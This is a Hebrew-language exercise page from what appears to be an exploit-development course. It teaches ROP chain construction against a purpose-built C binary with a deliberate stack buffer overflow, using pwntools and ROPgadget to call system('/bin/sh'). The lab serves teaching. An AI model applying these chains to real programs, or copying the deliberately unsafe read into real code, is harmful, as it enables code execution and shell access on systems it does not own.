4.3 ROP וגאדג'טים תרגול
תרגול - ROP וגאדג'טים¶
בתרגול הזה תבנו ROP chains בעצמכם, שלב אחרי שלב: קודם קריאה לפונקציה עם ארגומנט שאתם שולטים בו, ואז chain מלאה שקוראת ל-system("/bin/sh") ופותחת shell. תעבדו גם ידנית (כתובות גאדג'ט מפורשות) וגם עם אובייקט ה-ROP של pwntools, כדי להרגיש את שתי הדרכים. עבדו לפי הסדר - כל תרגיל בונה על הקודם.
הכנה - הבינארי¶
צרו את קובץ המקור הבא. שימו לב שיש בו פונקציית secret שמדפיסה דגל רק אם מעבירים לה את הערך הנכון, ופונקציה never_called שמכריחה את system ואת "/bin/sh" להיכנס לבינארי:
// rop_lab.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void secret(unsigned long code) {
if (code == 0xdeadbeefcafe) {
puts("SECRET UNLOCKED: FLAG{rop_arg_control}");
} else {
puts("wrong code.");
}
}
// not called in the normal flow - just so system and /bin/sh are in the binary
void never_called() {
system("/bin/sh");
}
void vuln() {
char buf[64];
puts("rop_lab> send bytes:");
read(0, buf, 400);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
קמפלו ל-64 ביט, בלי canary ובלי PIE:
הערה על הסביבה: השאירו את ההגנות כמו שהן - NX פעיל, בלי canary, בלי PIE. לא צריך לכבות ASLR, כי כל הכתובות שנשתמש בהן (הקוד, ה-PLT, המחרוזת) קבועות בבינארי לא-PIE.
תרגיל 1 - סיור והכנה¶
לפני שתוקפים, מיפוי מלא של החומרים.
- הריצו
checksec --file=./rop_labוּודאו שאתם רואיםNX enabled,No canary,No PIE. - מצאו את הכתובות של
secret, שלsystem@pltושל המחרוזת"/bin/sh": objdump -d rop_lab | grep '<secret>:'objdump -d rop_lab | grep '<system@plt>:'ROPgadget --binary rop_lab --string '/bin/sh'- מצאו את ה-offset עד הreturn address של
vulnבשיטת ה-cyclicמ-2.2.
רמז: הbuffer הוא 64 בתים ו-saved rbp הוא 8 בתים ב-64 ביט, אז ה-offset אמור לצאת סביב 72. אל תניחו, תמדדו עם cyclic 200 ו-cyclic_find.
תרגיל 2 - מציאת גאדג'טים¶
תרגלו את שלושת הכלים על אותו בינארי, כדי לראות שהם מסכימים.
- מצאו את
pop rdi ; retבשלוש דרכים: ROPgadget --binary rop_lab | grep 'pop rdi ; ret'ropper --file rop_lab --search "pop rdi; ret"- מתוך python:
rop = ROP(ELF('./rop_lab'))ואזrop.find_gadget(['pop rdi', 'ret']). - מצאו גם גאדג'ט
retבודד (תצטרכו אותו לalignment בתרגיל 4):ROPgadget --binary rop_lab | grep ': ret$'. - ודאו ששלוש הדרכים מחזירות את אותה כתובת ל-
pop rdi ; ret.
רמז: זכרו שהכתובות ספציפיות לבינארי שלכם. אל תעתיקו כתובות מההרצאה - שלפו את שלכם.
תרגיל 3 - ROP chain עם ארגומנט מבוקר¶
המטרה: לקרוא ל-secret(0xdeadbeefcafe) ולראות את הדגל. הפונקציה מקבלת ארגומנט אחד, אז אתם צריכים ש-rdi יכיל 0xdeadbeefcafe ברגע הקפיצה ל-secret.
- בנו ידנית chain: padding עד ה-offset, ואז
[pop rdi] [0xdeadbeefcafe] [secret]. - השתמשו ב-
flat({offset: [...]})כדי לבנות את הpayload. - הריצו וּודאו שאתם רואים את שורת
SECRET UNLOCKED.
רמז: הזרימה היא ret של vuln -> pop rdi ; ret שולף את הערך ל-rdi -> ה-ret של הגאדג'ט קופץ ל-secret כש-rdi כבר מוכן. הערך 0xdeadbeefcafe הוא 6 בתים, p64 יטפל בזה. בגלל שאנחנו קוראים עם read, בתים אפסיים בכתובות לא בעיה.
תרגיל 4 - ROP chain ל-shell¶
עכשיו השלב הגדול: system("/bin/sh") שפותח shell אמיתי.
- בנו ידנית chain:
[pop rdi] [כתובת /bin/sh] [system@plt], עם padding עד ה-offset. - הריצו. אם ה-shell לא נפתח והתוכנית קורסת בתוך libc, הציצו ב-gdb: תראו קריסה על הוראת
movapsבתוךdo_system. הוסיפו גאדג'טretבודד לפניpop rdiונסו שוב. - כשמשיגים shell, הריצו
idו-lsכדי לוודא שהוא אינטראקטיבי.
רמז: זו בדיוק מלכודת הalignment מההרצאה. הסדר הנכון עם התיקון הוא [ret] [pop rdi] [binsh] [system]. אם תשכחו את ה-ret, יש סיכוי טוב לקריסה על movaps.
תרגיל 5 - אותו דבר עם אובייקט ROP¶
שכתבו את תרגיל 4 בלי כתובות קשיחות, בעזרת אובייקט ה-ROP של pwntools.
- השתמשו ב-
binsh = next(elf.search(b'/bin/sh\x00'))כדי למצוא את המחרוזת. - בנו:
rop = ROP(elf), ואזrop.raw(rop.find_gadget(['ret'])[0])לalignment, ואזrop.call('system', [binsh]). - הדפיסו את
rop.dump()והשוו לכתובות שמצאתם ידנית בתרגיל 4. הן אמורות להתאים. - שלחו
flat({offset: rop.chain()})וּודאו shell.
רמז: rop.call('system', [binsh]) מוצא את pop rdi ; ret בעצמו. זכרו את גאדג'ט ה-ret לalignment לפני הקריאה.
תרגיל 6 (בונוס) - execve דרך syscall¶
אתגר מתקדם, לחשוב עליו גם אם לא תשלימו אותו: אילו לא היה בבינארי system כלל, איך הייתם פותחים shell?
- חשבו:
execve("/bin/sh", 0, 0)דורשrax=59,rdiמצביע ל-"/bin/sh",rsi=0,rdx=0, ואזsyscall. - חפשו בבינארי
pop rax ; retו-syscallעםROPgadget --binary rop_lab --only 'pop|syscall|ret'. סביר שלא תמצאוsyscallנוח בבינארי דינמי קטן - זה בדיוק הלקח. - תארו במילים: אם המחרוזת
"/bin/sh"לא הייתה קיימת, איזה גאדג'ט הייתם צריכים כדי לשתול אותה ב-.bss? (רמז:mov [rdi], rax ; ret).
רמז: זו הסיבה שבבינארי דינמי קטן מעדיפים לקרוא ל-system או לקפוץ ל-libc. גאדג'ט syscall ו-pop rax נפוצים בעיקר בבינארי סטטי. תראו את זה שוב כשנעבור ל-ret2libc מלא עם דליפת כתובות ב-4.4.